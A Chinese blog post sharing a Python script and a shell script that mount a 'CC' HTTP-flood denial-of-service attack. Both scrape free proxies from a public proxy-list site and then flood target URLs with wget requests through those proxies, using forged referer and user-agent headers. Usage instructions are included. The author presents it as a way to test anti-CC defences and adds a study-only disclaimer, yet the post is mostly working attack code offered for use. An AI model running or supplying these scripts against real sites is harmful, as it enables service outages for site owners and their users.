Linux CC攻击脚本

CC（ChallengeCollapsar）主要是用来攻击页面的。大家都有这样的经历，就是在访问论坛时，如果这个论坛比较大，访问的人比较多，打开页面的速度会比较慢，访问的人越多，论坛的页面越多，数据库就越大，被访问的频率也越高，占用的系统资源也就相当可观。

 

最近在做一些防CC的措施，想验证效果就的有类似CC的攻击，所以写了个Python脚本来模拟CC攻击，其原理很简单，就是去网络上拉取一下渣渣代理，然后通过代理去访问服务器，成本低的吓人，但影响却不小…代码如下(该脚本只能用于交流学习，一切因该脚本产生的不良后果，与我无关):

 

 

 

 

 

Python

 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75

#!/usr/bin/python #------------------------------------------------------------------------------- # Name:        CC.py # # Author:      LiuSha # # Created:     1/07/2014 # Email:       [e-mail] #-------------------------------------------------------------------------------   import urllib2 import re import os import threading import time import random   class RunCC(threading.Thread):     def __init__(self,proxy,url):         threading.Thread.__init__(self)         self.thread_proxy = proxy         self.thread_url = url         self.thread_stop = False       def run(self):         while not self.thread_stop:             os.system("""wget --ignore-length --cache=off --no-http-keep-alive -t 1 --referer="http://www.10086.com" -U \'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)\' -e "http_proxy=http://%s/" "%s" &"""%(self.thread_proxy,self.thread_url))     def stop(self):         self.thread_stop = True                     def get_stock_html(URL):     opener = urllib2.build_opener(         urllib2.HTTPRedirectHandler(),         urllib2.HTTPHandler(debuglevel=0),         )     opener.addheaders = [         (\'User-agent\',          \'Mozilla/4.0 (compatible;MSIE 7.0;\'          \'Windows NT 5.1; .NET CLR 2.0.50727;\'          \'.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\')          ]     url = "http://proxy.com.ru/%s"%URL     response = opener.open(url)     return \'\'.join(response.readlines())   def Getting_Url():     global CC_Url     file = open(\'url\',\'r\')     CC_Url = file.readlines()     file.close()   def Getting_list():     global IP_Port     IP_Port = []     for html_list in re.findall(\'list_\d+.html\',get_stock_html("list_1.html")):         print "getting %s\'s IP:PORT"%html_list         IP_Port += eval(re.sub(\'\',\':\',"%s"%re.findall(\'\d+.\d+.\d+.\d+\d+\',get_stock_html(html_list))))          def main():     global CC_Dict     CC_Dict = {}     for i_name in range(len(IP_Port)):         CC_Dict[\'Thread%s\'%i_name] = "RunCC(\'%s\',r\'\'\'%s\'\'\')"%(IP_Port[i_name],random.choice(CC_Url))     for k,v in CC_Dict.items():         k = eval(v)         k.start()         time.sleep(0.6)         k.stop()          if __name__ == \'__main__\':     Getting_Url()     Getting_list()     main()

 

使用方法：

 

 

 

 

 

Python

 

1 2 3 4 5 6

###url 文件一行一个url不嫌多### [root@test-CC CC]# cat url http://www.ipython.me/about-me http://www.ipython.me/ ###直接运行### [root@test-CC CC]# python cc.py

 

勇敢的大飞哥也用shell 粗暴的写了一个出来，代码如下:

 

 

 

 

 

Python

 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

#!/bin/sh #Email:[e-mail] url=$1 page_number=`curl http://proxy.com.ru |grep -o "list_.*html"|awk -F "\'" \'{print $NF}\'|tail -1|grep -o \[0-9\]*`   for i in `seq 1 $page_number` do curl  http://proxy.com.ru/list_$i.html|egrep -o "[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}.*[0-9]{2,4}"|awk -F "<|>" \'{print $1,$NF}\' >> ip.txt done   while read ip port do wget  -b  --cache=off --ignore-length --referer="http://www.10086.com" -U \'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)\' \ -Y on -e "http_proxy=http://$ip:$port/" "$url" done < ip.txt